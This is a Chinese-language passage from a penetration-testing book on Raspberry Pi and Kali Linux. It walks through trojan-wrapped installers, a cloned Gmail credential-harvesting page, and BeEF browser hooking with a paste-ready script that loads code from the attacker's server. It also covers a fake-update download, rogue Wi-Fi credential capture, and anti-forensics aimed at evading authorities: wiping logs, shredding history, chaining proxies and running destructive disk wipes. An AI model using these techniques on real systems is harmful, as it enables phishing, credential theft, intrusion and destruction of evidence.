隐藏载荷的另一种方法是将其与受信任的应用程序进行包装。例如,您可以告诉受害者他们的 Adobe Reader 已过期,并将正确的升级文件与后门进行包装。当受害者安装.exe
文件时,他们将获得更新和一个不需要的后门。
这可以是一个非常有效的方式来补充有针对性的社会工程攻击。我们将在本章后面的使用 BeEF 进行网络钓鱼部分中提到这种方法,那里我们将有一个弹出窗口,会欺骗用户点击并下载一个包装的载荷。
包装载荷超出了树莓派渗透测试书的范围。有一些工具可用,比如 Senna,专门用于此目的。以下截图显示了Senna Spy One仪表板将ROOTKIT载荷与 Windows 计算器可执行文件进行包装。当用户运行该文件时,计算器将弹出,ROOTKIT载荷将被安装。您可以通过研究 Senna 或其他包装工具来了解更多关于包装载荷的信息。
社会工程学
社会工程攻击旨在通过误导或欺骗诱使受害者提供信息。攻击者经常假装成他们不是的人,比如有权威的人或家庭成员,以获取受害者的信任。当他们成功时,用户可能已经泄露了密码、访问凭据或其他有价值的秘密。有关著名黑客的故事,他们仅凭微笑就能获得知识产权。
Kali Linux 中有许多工具可用于辅助社会工程活动;然而,最成功的攻击是基于了解目标受众并滥用他们的信任。例如,我们曾在社交媒体来源如 LinkedIn 和 Facebook 上使用假账户获取敏感信息,这并不需要任何高级技术来实现我们大部分的目标。其他例子包括假装成管理员给某人打电话,或发送声称是久违的家庭成员的电子邮件。
注意
您可以通过在 Google 上搜索"Emily Williams Social Engineering"或访问www.thesecurityblogger.com/?p=1903
和www.pcworld.com/article/2059940/fake-social-media-id-duped-securityaware-it-guys.html
了解更多关于作者在使用社交媒体进行渗透测试的研究。
在本章中,我们将重点介绍一种名为 SET 的最受欢迎的社会工程攻击工具。SET 可以从树莓派上启动,但在更强大的系统上可能会更好地运行。最佳实践是利用树莓派进行现场侦察,以构建成功的社会工程攻击,并从远程 Web 服务器执行。
我们将在 SET 的讨论之后介绍另一个流行的社会工程工具,用于利用浏览器。这就是 BeEF。
社会工程工具包
社会工程工具包(SET)是由 TrustSec 的 David Kennedy 开发的,并预装在 Kali Linux 中。它经常用于复制受信任的网站,如 Google、Facebook 和 Twitter,目的是吸引受害者对它们发动攻击。当受害者无意中浏览这些复制的网站时,攻击者可以收集受害者的密码,或者可能注入一个命令 shell,从而完全访问受害者的系统。这是一个很好的工具,可以让安全专业人员演示信任链作为一个漏洞,意味着演示普通人只要来源看起来合法,就不会注意到他们输入敏感信息的位置。
你可以从树莓派上运行 SET;然而,受害者的互联网速度体验将受到树莓派提供的吞吐量的限制。我们在测试中发现,受害者有时在被重定向到真实网站之前经历了长时间的延迟,这使他们意识到可能受到攻击。因此,我们建议在使用树莓派时,将 SET 攻击目标定位到特定用户,而不是空白的受众,以保持性能良好。
在以下示例中,我们将设置一个树莓派来克隆 Gmail。如下图所示,目标是让受害者相信他们正在访问他们的 Gmail 账户,并在他们登录后将他们重定向到真正的 Gmail 网站,但存储他们的登录凭据。诀窍在于让受害者访问 SET 服务器;然而,这就是你的社会工程能力发挥作用的地方。例如,你可以通过电子邮件发送链接,将链接发布在社交媒体来源上,或者毒害 DNS 以将流量引导到你的攻击服务器。攻击者可以远程访问树莓派,以获取被盗的凭据,用于最终的渗透测试报告。
让我们看看如何在树莓派上使用 SET。
要启动 SET,在命令提示符窗口中键入setoolkit
。您将被提示启用最新功能仓库。最新功能仓库是 Kali 中的一个新功能,其中包括流行工具的每日构建,如 SET。最佳做法是在使用实时渗透测试之前启用最新功能仓库并测试您的练习,因为事情可能会略有变化。以下截图显示了如何启用最新功能仓库:
提示
最新功能仓库是获取流行工具的最新软件包的好方法。然而,经验丰富的安全专业人员会发现这些工具经常发生变化,某些功能可能无法再使用。最佳做法是在实时使用工具之前禁用更新,除非您有时间测试新版本的更新。
启动 SET 后,您需要输入yes同意软件许可和条款。此时,您将看到 SET 的主菜单,如下截图所示:
SET 是一个基于菜单的攻击工具。与其他工具不同,它不使用命令行。这是基于社会工程攻击是多态的性质,并且需要多个线性步骤来设置的概念。命令行工具在开发这些类型的攻击时可能会引起混乱。
在此示例中,我们将选择1) 社会工程攻击。
以下截图显示了社会工程攻击菜单下的菜单:
接下来,我们将选择2) 网站攻击向量。这将带来各种不同的选项。在这个测试场景中,我们将执行一个简单的凭证窃取攻击,即3) 凭证窃取攻击方法,如下截图所示:
当您选择凭证窃取攻击方法选项时,您可以选择使用预先存在的模板或克隆网站。我们发现大多数模板对普通人来说效果不佳,因此最好克隆一个真实的网站。此外,网站经常发生变化,因此克隆网站将为您提供受害者预期看到的最新版本。
当您选择适当的选项时,您将被提示输入 SET 应监听的接口的 IP 地址。如果您有多个接口,您应该输入面向互联网的接口的 IP 地址,否则受害者可能无法访问您的树莓派攻击服务器。
如果您在“凭证窃取攻击方法”下选择了2) 网站克隆器,您将需要输入要克隆的网站的完整 URL,例如www.facebook.com
。如果您选择网站模板,您将从提供的列表中选择一个现有模板。以下截图显示了一些可用模板的示例。请注意,这些模板非常基本且过时,这意味着它们可能看起来不像真实的东西。这就是为什么在进行真正的渗透测试时,您应该克隆一个网站。
以下截图中的菜单提供了几种类型的攻击。我们建议您测试每种攻击,并根据个人偏好和成功率进行选择。其中一些攻击需要进行中间人设置,这在第三章渗透测试的中间人攻击部分中已经讨论过。
在我们的示例中,我们将选择3)凭据窃取攻击方法。这种攻击会托管一个假网站,等待受害者登录。当受害者看到登录页面并输入他们的登录凭据时,他们将被重定向到真实网站,同时不知不觉地让攻击者捕获他们的凭据,以便以后使用。以下示例展示了克隆的谷歌登录界面的样子:
这种攻击的困难之处在于让受害者相信他们正在访问真实的网页。这可以通过发送一封带有假链接的电子邮件,在社交媒体网站上发布链接,执行 DNS 投毒等方式来实现。SET 有许多工具和实用程序可以使这一切变得更容易,但这些超出了树莓派书籍的范围。请访问 SET 的网站www.trustedsec.com/social-engineer-toolkit/
,了解更多关于这些工具的信息。
提示
最佳实践是从远程服务器而不是树莓派上启动 SET 攻击,因为执行这些类型的攻击需要的进程要求。从用户的角度来看,如果攻击是在树莓派上本地托管的,或者是从外部系统上托管的,攻击看起来是一样的,因为我们的示例是克隆一个云服务。
使用 BeEF 进行网络钓鱼
浏览器利用框架(BeEF)是另一个经常被归类为利用渗透测试、蜜罐和社会工程的工具。BeEF 用于托管一个恶意的 Web 服务器,就像 SET 一样。然而,BeEF 利用了互联网浏览器中发现的弱点进行攻击。当受害者连接到 BeEF 服务器时,BeEF 将钩住系统,并检查受害者的网络浏览器对各种攻击的易受性。根据这些发现,BeEF 将提供一系列可以启动的命令模块,比如截屏或触发蜂鸣声。被钩住的系统只能在在线时访问。然而,一旦被钩住,BeEF 可以跟踪系统何时建立互联网连接,以继续对该系统发动攻击。您可以在beefproject.com/
找到更多关于 BeEF 的信息。
提示
作者们使用 BeEF 进行授权渗透测试,因为它不需要修改终端系统就能成功。这意味着在渗透测试后,客户的风险较小,清理工作也较少。
对于这种用例,我们将执行一个类似于我们在 SET 中进行的攻击;然而,这次攻击将针对受害者的浏览器而不是欺骗他们登录网站。这意味着我们将再次需要克隆一个已知的网站或开发一个模板,使受害者不意识到他们正在受到攻击。使用 BeEF 的最大好处是我们只需要让受害者访问网站一次就能钩住他们。一旦被钩住,即使他们离开网站或者下线再次上线,我们也可以攻击他们。
我们发现使用简单的社会工程学策略,比如制作一个假的节日电子卡片并在社交媒体上发布,或者通过电子邮件发送攻击服务器的链接,是让受害者访问我们的 BeEF 服务器的非常有效的方法。一个非常基本但可信的节日卡片很容易通过收集一些图片并用粗体字陈述场合来制作。
以下图表表示在内部网络上从树莓派上运行 BeEF 服务器,并且目标是钩住本地系统。为了让用户访问 BeEF 服务器,示例展示了攻击者发送一封电子邮件,其中包含一个托管在 BeEF hook 服务器上的假节日卡片的链接。一旦受害者点击链接,他们将看到节日卡片,并被 BeEF 钩住。攻击者可以在受害者继续使用互联网的同时,从树莓派上远程执行命令模块。
让我们一起构建这种攻击场景。
要启动 BeEF,使用cd /usr/share/beef-xss
导航到 BeEF 目录,然后像以下截图中所示运行beef
脚本:
一旦 BeEF 脚本运行,您可以通过打开 Web 浏览器并将其指向http://ip_address_of_raspberry_pi_kali:3000/ui/panel
来访问基于 Web 的 BeEF 控制面板。以下截图显示了 BeEF 的主要登录页面:
您可以使用用户名beef
和密码beef
登录。
与其他社会工程攻击一样,您需要欺骗受害者前往一个钓鱼页面。BeEF 带有一些基本的演示钓鱼页面;但是,就像 SET 一样,这些页面相当基本,可能无法愚弄普通用户。您可以通过访问http://ip_address_of_raspberry_pi_kali:3000/demos/butcher/index.html
来测试 BeEF,以查看一个基本的钓鱼页面。
提示
在现实世界中,您需要编辑演示页面,使其看起来像是可信的东西。您的用户不需要停留在页面上就会被吸引;但是,如果看起来可疑,他们可能会报告它。您还可以添加一个带有选项卡劫持技术的 JavaScript 模板。
一旦系统被钓鱼,攻击者将在控制面板中看到受害者的浏览器,并且可以发送各种不同的命令。在某些情况下,您可能能够发送给用户一个更复杂和有价值的利用。在其他情况下,您可能只能从客户端检索基本信息。可用的命令取决于受害者使用的 Web 浏览器类型以及该 Web 浏览器的安全补丁更新情况。
以下截图显示了一个已被钓鱼的基于 Linux 的系统:
模块树显示了可用于钓鱼受害者的可能利用。
提示
BeEF 为每个命令包括了一个风险级别,定义了命令成功运行的可能性以及引起受害者对恶意行为的警觉风险。强烈建议您在进行实时渗透测试之前,在实验室环境中针对类似于被钓鱼目标的系统测试这些利用。在我们的测试中,我们发现许多利用在实际系统上的效果并不如宣传的那样好。
在可利用的浏览器上执行命令的一个例子是发送一个 JavaScript 模板来欺骗用户点击某物。因此,对于以下示例,我们将发送老式的 Clippy 弹出窗口,要求用户升级其浏览器。我们将包含一个链接,该链接具有一个已经包含了后门应用程序的匹配浏览器安装文件。在本章的Metasploit部分中,已经介绍了创建有效载荷、对其进行编码以绕过安全防御以及将有效载荷与可信可执行文件包装在一起的主题。
发动这种攻击的第一步是转到 BeEF 管理控制台中的Commands选项卡:
然后,点击Social Engineering文件夹,找到Clippy攻击:
您会注意到Clippy攻击的默认设置是内置的。基本上,它将下载一个包含在内部网站上托管的Clippy图像文件的 JavaScript 模板。它还将下载并运行一个 EXE 文件。在以下示例中,它下载并运行了putty.exe
。请注意,以下截图中显示的可执行代码链接比显示窗口更长。这可以是您攻击所需的任何内容。
您可以让Clippy在下载之前和之后显示一条消息。默认设置在下载之前显示消息您的浏览器似乎已过时。您想升级吗?,并在下载后显示感谢升级您的浏览器!期待更安全、更快速的网络!。
这种攻击是基于浏览器的。因此,与出现在早期版本的 Microsoft Word 中的原始Clippy不同,这种攻击不受操作系统的影响。它适用于支持 JavaScript 的任何浏览器。在下面的截图中,我们展示了在一个没有正确版本的 Microsoft Office 的 Mac OS X 计算机上的攻击:
人们经常问我们如何在没有 BeEF 附带的明显演示页面的情况下“钩住”受害者浏览器。以下 JavaScript 命令可用于任何网页来钩住浏览器:
%20(function%20()%20{%20var%20url%20=%20%27http:%2f%2f192.168.135.129:3000%2fhook.js%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();
您仍然需要创造性地运行 JavaScript 命令。它可以自动运行,嵌入广告,或者其他创造性的方式。只需用您的 BeEF 服务器替换 JavaScript 命令中的 IP 地址变量。您一定已经注意到我们服务器的 IP 地址在前面的例子中是192.168.135.129
。您需要用您的 BeEF 服务器的 IP 地址替换它。确保您的 BeEF 服务器可以被受害者机器访问,否则这种攻击将无法进行。
流氓接入蜜罐
在计算机术语中,蜜罐是一种旨在检测、转移或误导对计算机系统或网络进行破坏的企图的陷阱。典型的蜜罐是一台计算机、一段数据或网络段,看起来是真实网络的一部分,无论网络有多么孤立和/或受监控。大多数蜜罐都表现出自己是脆弱的,并包含一些有价值的东西,以诱使攻击者远离真正的目标。
通常有两种类型的蜜罐。更常用的是生产蜜罐,它是设计成网络防御策略的一部分。生产蜜罐通常意味着将蜜罐放置在网络内部,目的是引诱已经突破其他防御措施的黑客,这意味着生产蜜罐是防止敏感系统被破坏的最后一道防线。
另一种蜜罐的类型是监控蜜罐,通常放置在网络上以研究通过它的数据。这类似于中间人攻击,但通常蜜罐会呈现自己为受害者连接的授权来源。一个例子是开发一个虚假的接入点,受害者相信这是一个可连接到网络的可行来源。当受害者使用蜜罐时,攻击者监视流量,包括捕获登录凭据。我们称这种攻击为基于使用监视蜜罐技术并通过虚假无线接入点向蜜罐提供接入方法的流氓接入蜜罐攻击。还有其他类型的蜜罐,如高交互和低交互蜜罐,蜜客户端等。但是,大多数这些都不适合树莓派的形态。
流氓接入蜜罐,正如我们定义的那样,是树莓派蜜罐的最合适用途,因为我们的重点是捕获数据,而不是破解网络防御,同时利用树莓派的移动形态来隐藏这种攻击。
在下面的示例中,我们将创建一个伪装的接入蜜罐,它将充当一个伪装的无线接入点,旨在在受害者连接到它以访问互联网时捕获敏感信息。我们将把eth0
端口连接到面向互联网的端口,并利用 USB 无线适配器来托管伪装的无线服务。攻击可以使用无线来修改互联网和伪装的无线接口;但是,我们需要两个 USB 无线适配器才能完成此操作。只要在发动攻击之前设置了 VPN 连接,攻击者就可以从任何地方访问树莓派蜜罐。下面的图表显示了我们将要构建的内容:
让我们看看一个名为 easy-creds 的流行实用程序,并使用它来构建一个树莓派伪装接入蜜罐。
Easy-creds
Easy-creds 是一个利用 Ettercap 和其他工具获取凭据的 bash 脚本。Ettercap 在第三章渗透测试中有介绍。然而,easy-creds 通过为您提供开发监视蜜罐所需的所有工具,将中间人攻击推进了一步。Easy-creds 是菜单驱动的,并提供 ARP 欺骗、动态主机配置协议(DHCP)欺骗、单向 ARP 欺骗和创建虚假接入点(AP)。
Easy-creds 未预装在树莓派上,因此您需要从sourceforge.net/projects/easy-creds/files/latest/download
下载它。
下载完成后,使用cd Downloads
导航到下载目录(通常为Downloads
),如下截图所示:
您需要通过发出tar –zxvf easy-*
命令来解压下载的文件。这将创建一个新目录,您可以使用ls
命令查看。使用cd
命令打开该目录,您应该可以看到一个安装脚本。您需要使用chmod +x installer.sh
命令或chmod 777 installer.sh
命令将安装脚本设置为可执行文件。下面的截图显示了前面步骤的执行:
创建可执行文件后,使用./installer.sh
命令安装 easy-creds。运行 easy-creds 安装脚本后将出现安装菜单,如下截图所示:
由于我们在 Kali Linux 上运行,我们将从菜单中选择1. Debian/Ubuntu 和衍生产品。
您需要按照提示完成安装。安装完成后,可以通过发出./easy-creds.sh
命令来启动 easy-creds。下面的截图显示了安装后运行 easy-creds 的命令:
运行.sh
文件后,您将看到 easy-creds 菜单。Easy-creds 经常在每个版本中略微更改菜单的顺序,因此您的菜单可能与以下截图不同。在我们的示例中,我们将选择1. 先决条件和配置进行配置。
设置我们的蜜罐的第一步是确保我们向受害者分配用于攻击的 IP 地址。为此,我们将安装 DHCP 服务器。在安装 DHCP 服务器时可能会出现错误,这意味着您可能已经从其他练习或之前安装的工具中安装了 DHCP 服务器。
配置菜单的下面截图显示了使用3. 安装 dhcp 服务器来安装 DHCP 服务器:
安装 DHCP 服务器后,我们将选择添加隧道接口到 dhcp 服务器。在上一个截图中,这是选项5。
接下来,滚动到配置的部分,指定 DHCP 服务器应该监听的接口。如果你的无线网络使用这个接口,你需要在这里手动输入wlan0
,就像下面的截图中所示:
添加完无线接口后,选择返回到上一个菜单。在配置菜单截图中,这是9. 上一个菜单。现在,让我们使用3. 伪造 AP 攻击来设置 FakeAP 攻击,就像下面的截图中所示:
接下来,你将看到几个选项。对于我们的示例,我们将选择伪造 AP 攻击静态选项,如下面截图中所示的1.:
你将被提示选择是否包括 sidejacking 攻击。Sidejacking描述了通过使用识别受害者对特定服务器的凭据来劫持已经建立的网络会话。当人们访问我们的蜜罐并登录网站时,这可能会有用。因此,对于我们的示例,我们将选择是。
接下来,你将被要求选择连接到互联网的接口。在大多数情况下,这将是eth0
,这意味着设计是让树莓派从接口wlan0
提供伪造无线攻击,并通过eth0
上的 LAN 连接传递流量到互联网。你也可以使用两个 USB 无线适配器来实现这一点,其中一个连接到互联网,另一个用于主机伪造无线攻击。这种方法的问题在于,受信任和伪造的无线接入点都将广播连接,除非真实的无线网络没有广播,例如使用手机的共享模式。我们将使用 LAN 连接作为示例。
选择完互联网接口后,你将被提示填写一些其他细节,比如你想保存日志文件的位置和 DHCP 地址空间。填写这些信息后,基本配置就完成了。
现在你将拥有一个主动的伪造无线蜜罐,向客户端广告自己加入。如果客户端访问网络并使用明文协议,他们的信息将被捕获并显示在 easy-creds 中。如果他们尝试打开 HTTPS 网站,easy-creds 还将尝试使用 SSLstrip 将用户重定向到未加密的网页。我们在第三章渗透测试中介绍了 SSLstrip。
以下截图显示了一组截图,展示了我们的蜜罐在受害者使用我们的伪造无线网络时捕获其 Facebook 登录凭据:
你的树莓派现在是一个完全功能的伪造访问蜜罐,将捕获的密码保存到你在配置过程中指定的日志文件中。你可以远程访问这个日志,用于最终的渗透测试报告。你可以在sourceforge.net/projects/easy-creds/
找到更多关于 easy-creds 的信息。
总结
本章重点介绍了一旦你侵入网络后,如何在树莓派上运行主动攻击。主题包括使用各种形式的载荷来妥协系统、社会工程技术、利用浏览器以及开发伪造访问蜜罐,目的是通过漏洞或窃取用户凭据来获取访问权限。到目前为止,我们已经介绍了使用树莓派进行渗透测试的基础知识。还有更多的概念需要学习,但到目前为止涵盖的主题将给你一个如何使用树莓派进行授权渗透测试的一般概念。
下一章将讨论在完成渗透测试后该做什么。这包括如何清理日志文件并以安全的方式擦除您的足迹,以避免留下法证证据。我们还将介绍捕获数据的步骤,这些数据可以用来开发专业的渗透测试成果展示您的服务的价值。
第五章:结束渗透测试
在个人实验室进行网络入侵可能很有趣。然而,某个时候,您可能需要将其应用到真实环境中。当那个时候到来时,确保您正确地结束事情至关重要。对于提供渗透测试服务的人来说,您必须提供证据来证明您的发现,否则您将无法为未来的业务提供足够的价值。这意味着记录一切,不要留下可能由您的服务引起的问题。对于攻击者,您将希望清除您的足迹,以便当局无法通过法证调查追踪您。
在报告已识别的网络弱点作为付费服务时,人们不喜欢听到自己的孩子被称为丑陋,并且可能会质疑您的发现。因此,重要的是记录整个过程,以便可以重复,假设网络处于进行渗透测试时的相同状态。文档需要为技术和非技术审阅者量身定制,因为这两种类型的人可能都对资助服务参与有利。您还应该记录练习的起始状态,包括客户提前提供的任何信息。您可以通过研究白盒、黑盒和灰盒渗透测试了解更多关于渗透测试的起始状态。
结束渗透测试的另一个关键元素是意识到您在任务中创建的足迹。许多漏洞可能会影响系统的功能,并导致大多数客户不会满意的停机时间。这种行为和其他类型的行为可能会引起监视您存在的人的注意,这可能会促使他们调整其安全措施。这将使您原始任务变得更加困难,并且也不会提供真正的渗透测试模拟,因为真正的攻击者可能不会那么马虎并且被识别。管理员也可能在报告之前修复任何已识别的漏洞,从而降低您最终报告的价值。这就是为什么您在目标上尝试的一切都应该是隐秘的,除非服务参与完全公开,即所有参与方都知道您正在针对特定系统提供服务。
本章将涵盖以下主题:
-
Covering your tracks
-
Wiping logs
-
掩盖您的网络足迹
-
Proxychains
-
将树莓派重置为出厂设置
-
远程损坏 Kali Linux
-
制作报告
-
创建截图
-
压缩文件
注意
在执行任何渗透测试任务之前,您应该得到相关方的批准。这份批准应该由法律代表审查,并用墨水签字,以避免因未经授权的渗透测试造成的任何负面结果而被追责。如果您是未经授权的黑客,不要被抓住。
Covering your tracks
渗透测试人员和犯罪分子经常失败的一个关键任务是在侵入系统后进行清理。法证证据可以是从数字网络足迹(IP 地址、在传输线上看到的网络流量类型等)到受损终端上的日志的任何东西。还有关于使用的工具的证据,比如使用树莓派进行恶意操作时使用的工具。例如,在树莓派上运行more ~/.bash_history
可以查看使用过的所有命令的完整历史记录。
树莓派黑客的好消息是,他们不必担心 ROM 等存储元素,因为唯一需要考虑的存储是 microSD 卡。这意味着攻击者只需重新刷写 microSD 卡以抹去树莓派被使用的证据。在这之前,让我们从受损的系统开始,逐步进行清理工作,直到重新设置树莓派。
注意
您可以使用我们在第一章中介绍的 SD 格式化工具,树莓派和 Kali Linux 基础,来完成此操作。您还可以使用第一章中介绍的步骤,树莓派和 Kali Linux 基础,在执行渗透测试并将树莓派重置回到该镜像之前,备份镜像以隐藏其在重新镜像之前的使用方式。
清除日志
您应该执行的第一步是清除您访问过的受损系统中的任何事件日志。对于 Windows 系统,Kali Linux 在 Metasploit 中有一个名为clearev的工具,可以自动完成这项任务。Clearev 旨在访问 Windows 系统并清除日志。当您清除日志时,过于热心的管理员可能会注意到更改。但是,大多数管理员永远不会注意到这些更改。此外,由于日志已被清除,最糟糕的情况是管理员可能会发现他们的系统已被入侵,但包含您访问信息的日志已被删除。
Clearev 随 Metasploit 一起提供。要在使用 Meterpreter 入侵了 Windows 系统后使用 clearev,请输入meterpreter > clearev
。一旦运行,它就会自动擦除日志,这意味着它运行时不需要进行任何配置。
下面的截图显示了上述命令的启动:
以下是在 Windows 系统上擦除日志之前的日志示例:
从受损的 Windows 系统中擦除日志的另一种方法是安装 Windows 日志清理程序。有许多可供下载的选项,例如在ntsecurity.nu/toolbox/clearlogs/
上找到的ClearLogs。这些程序非常简单易用,意味着您只需在完成渗透测试后在目标上安装并运行它。您还可以使用C:\ del %WINDR%\* .log /a/s/q/f
命令手动删除日志。此命令使用/a
包括子文件夹/s
中的所有日志,禁用任何查询,因此您不会收到提示,/f
强制执行此操作。
提示
无论您使用哪个程序,请确保在删除日志文件后删除可执行文件,以便在将来的法证调查中不会识别该文件。
对于 Linux 系统,您需要访问/var/log
文件夹以查找日志文件。一旦您访问了日志文件,只需打开它们并删除所有条目。下面的截图显示了我的 Raspberry Pi 的log
文件夹的一个示例:
您可以使用删除命令rm
来删除文件,例如rm FILE.txt
,或者删除整个文件夹;但是,这不如清除现有文件中的痕迹干净。另一个选项是在 Bash 中。可以简单地输入> /path/to/file
来清空文件的内容,而不一定要删除它。这种方法有一些隐蔽的好处。
Kali Linux 没有基于 GUI 的文本编辑器,因此您可以安装的一个易于使用的工具是gedit。使用apt-get install gedit
进行下载。安装完成后,您可以在应用程序下拉菜单中找到gedit
,或者在终端窗口中直接输入gedit
。如下面的截图所示,它看起来像许多常见的文本文件编辑器。单击文件,并从log
文件夹中选择文件进行修改。
您还需要删除命令历史记录,因为 Bash shell 会保存最近的 500 个命令。可以通过输入more ~/.bash_history
命令来访问这些法证证据。下面的截图显示了我最近在我的 Raspberry Pi 上运行的数百个命令中的第一个命令:
要验证history
文件中存储的命令数量,请键入echo $HISTSIZE
命令。要擦除此历史记录,请键入export HISTSIZE=0
。从这一点开始,shell 将不会存储任何命令历史记录,也就是说,如果您按上箭头键,它将不会显示上一个命令。
提示
这些命令也可以放在 Linux 主机的.bashrc
文件中。
以下截图显示我已经验证了我的最后 500 个命令是否被存储。它还显示了在我擦除它们之后发生了什么:
注意
在使用受损系统上的任何命令之前设置此命令是最佳实践,以便事先不存储任何内容。一旦设置了 export HISTSIZE=0
命令,您可以注销并重新登录以清除您的历史记录。如果您担心被调查,还应该在您的 C&C 服务器上执行此操作,以结束您的渗透测试。
在 Linux 系统上删除您的历史文件的一种更激进和更快的方法是使用shred –zu /root/.bash_history
命令将其销毁。此命令使用零覆盖历史文件,然后删除日志文件。使用less /root/.bash_history
命令验证这一点,看看您的历史文件中是否还有任何内容,如下面的截图所示:
掩盖您的网络足迹
除非您不介意被追踪到您的行为,否则您不应该从可以追溯到您的家庭网络等来源发起攻击。隐藏您真实的来源地址最常见的方法是使用代理或多个代理在您和受害者之间。简单来说,代理充当了寻求来自另一个系统资源的客户端请求的中介。目标将看到来自中介系统的流量,并不会知道真正的来源。分层代理可能会导致洋葱效应,在取证调查期间极其困难地追踪真正的来源。
在线有数百个免费的网络代理可用。您可以在 Google 上搜索“免费匿名网络代理服务器”以找到各种类型,如 Proxify,Anonymouse,Anonymizer 和 Ninja Cloak。下面的截图显示了 Anonymouse,包括通过代理浏览的解释。对于他们的服务,您只需在搜索框中输入要访问的地址。
注意
代理管理员可以看到所有流量,并识别通过他们的代理进行通信的目标和受害者。强烈建议您在使用任何代理之前进行研究,因为有些代理可能会在未经您许可的情况下使用捕获的信息。这包括向当局提供取证证据或出售您的敏感信息。
Proxychains
隐藏您的源 IP 地址的另一个选项是使用 proxychains。Proxychains 允许您通过代理服务器隧道 Kali 命令。您需要使用sudo apt-get install proxychains
命令安装 proxy chains,因为它没有预装在 Kali Linux ARM 镜像中。
安装完成后,您需要在etc/proxychains.conf
文件中添加代理 IP 地址:
HideMyAss Internet security 提供了一系列可用于此目的的免费代理服务器。您可以在他们的网站proxylist.hidemyass.com
上找到。请记住,这些代理并不是非常可靠,可能会在未经您许可的情况下使用您的数据,因为代理管理员可以看到所有流量。
proxychains 的语法是proxychains <要隧道和代理的命令> <可选参数>
。在下面的示例中,我们将使用nmap
命令通过 proxychains 扫描192.168.1.0/24
网络,以隐藏扫描的来源。请注意,我们必须在执行此命令之前编辑.conf
文件以使用代理。
proxychains nmap 192.168.1.0/24
将 Raspberry Pi 重置为出厂设置
一旦您在端点和网络上覆盖了您的踪迹,最后一步是从您使用的工具中删除取证证据。要清理树莓派,您只需要重新映像 SD 驱动器。您可以在第一章中找到使用 SD 卡格式化程序或苹果的磁盘实用程序格式化 SD 卡的步骤。您可以继续阅读第一章中的内容,安装新的映像,例如原始的 NOOBS 软件,以隐藏树莓派曾经运行 Kali Linux 的事实。您还可以使用在启动渗透测试之前定制过的 Kali Linux 映像,以节省重建攻击系统的时间,同时删除先前渗透测试过程中的操作。
另一个选择是移除并损坏 microSD 卡。以下图片显示了一个切割的 microSD 卡的示例,以便它无法用于将来的调查:
远程损坏 Kali Linux
您可能会遇到这样的情况,无法直接访问您的树莓派,需要确保它不会被没收并在将来用于取证调查。如果您将树莓派作为网络监听器,远程访问它以侵入系统,现在需要通过关闭树莓派来结束事情。在这种情况下,您无法擦除 microSD 驱动器,因此下一个最好的选择是损坏 Kali Linux,以便取证调查人员无法访问它以查看在网络入侵期间的使用情况。让我们看看如何远程关闭运行 Kali Linux 的树莓派。
你可能想做的第一件事是删除所有内容。您可以使用rm –rf /
命令来执行此操作,其中rm
表示删除,-rf
表示递归删除所有文件和文件夹,而不会提示您,/
表示此命令从根目录开始。使用.*
运行相同的命令,即rm –rf .*
,将删除所有配置文件。这个选项并不是很好,因为仅删除告诉系统空间可用,但不会替换数据,这意味着可以使用取证工具找回数据。更好的方法是使用dd if=/dev/zero of=/dev/sda1
,这样您可以覆盖字节,使数据更难恢复。
另一个选择是使用mkfs.ext4 /dev/sda1
命令格式化硬盘。mkfs.ext4
命令创建一个新的.ext4
文件系统,/dev/sda1
指定了第一个硬盘上的第一个分区,这是我们用来运行 Kali Linux 的。
注意
运行这些命令将关闭您的 Kali Linux 安装。要小心那些建议您使用这些命令的人,因为常见的情况是有人建议这样做作为恶作剧。
开发报告
渗透测试服务最重要的部分是向客户提供的交付品质。我们曾看到非常有才华的测试人员因为最终报告的质量低而失去业务,而更专业的服务提供商则纯粹基于客户对最终报告的反应。这是由于传递消息的方式,考虑目标受众的敏感程度以及提供的细节水平。为潜在客户定制消息的最佳方式是利用标准化报告的混合以及想象他们如何阅读材料。例如,如果某人对这项服务以及其他服务的预算有影响力,那么称呼他为潜在弱点可能是个坏主意。
开发报告不仅仅是记录你的发现。您需要捕捉整个场景,包括渗透测试前的环境,提前提供的信息,对当前条件的假设,提供服务时使用的步骤,以及每个步骤的结果。您可能会发现管理员在报告完成之前修补漏洞,因此关键要记录每个步骤的时间和日期。您可以通过使用可信来源,如 OWASP 的测试指南,了解有关开发报告的最佳实践www.owasp.org/index.php/Testing_Guide_Introduction
。
让我们看看一些可以帮助您构建专业报告的工具。
创建截图
Kali Linux ARM 的功能有限,以保持操作系统的轻便。一个简单的概念,可能会让人感到繁琐的是为了报告目的而捕捉结果的屏幕截图。让我们来看看一个可以简化这个过程的基于命令行和 GUI 的工具。
ImageMagick
ImageMagick 是一个可以从终端下载和执行截图的工具。要下载它,请键入sudo apt-get install imagemagick
命令。
安装完成后,您可以键入import screenshot.png
命令来启动截图。ImageMagick 会将鼠标图标更改为表示它已准备好捕捉某物的框。点击屏幕上要捕捉的部分,截图将保存为.png
文件在您的根目录中。如果您点击窗口,ImageMagick 将只捕捉该特定窗口。您可以键入eog screenshot.png
命令来查看您的截图。
要在引入延迟的同时捕捉整个 Raspberry Pi 屏幕,请键入sleep 10; import –window root screenshot.png
命令。这对于包括需要交互的内容很有用,比如在执行屏幕截图时打开菜单。sleep
后面的数字将给出截图前的延迟时间。import –window root
命令告诉 ImageMagick 截取整个屏幕的截图。命令的最后一部分是您的截图名称。以下截图显示了捕获截图的命令:
Shutter
另一个截图工具是 Shutter。同样,您需要使用apt-get install shutter
命令来下载它。安装完成后,您可以在应用程序下拉菜单中找到它,或者只需在终端窗口中键入shutter
。Shutter 有一个弹出窗口,在完全启动之前会通知您正在更新其插件。
以下截图显示了Session-Shutter窗口:
Shutter 将显示一个带有选项的窗口。要进行截图,您可以点击箭头或剪刀图像,具体取决于版本。这将改变屏幕并要求您在要截图的位置画一个矩形。一旦您这样做,您将在 Shutter 窗口中画一个矩形围绕您想要的图像,您的截图将出现在 Shutter 窗口中。在这里,您可以编辑您的图像并保存到您的报告中。以下示例显示了我对网站www.thesecurityblogger.com的部分截图:
另一个选项是通过点击标有“desktop”标签的方框来截取整个桌面,或者通过点击桌面捕捉图像右侧的选项之一来捕捉窗口的一部分。一旦您有了图像,您可以点击画笔图标来调出编辑功能,如下图所示。在保存最终图像之前,您可以裁剪、调整大小等。您还可以使用计算机图像按钮上传图像并使用画笔编辑这些图像。
压缩文件
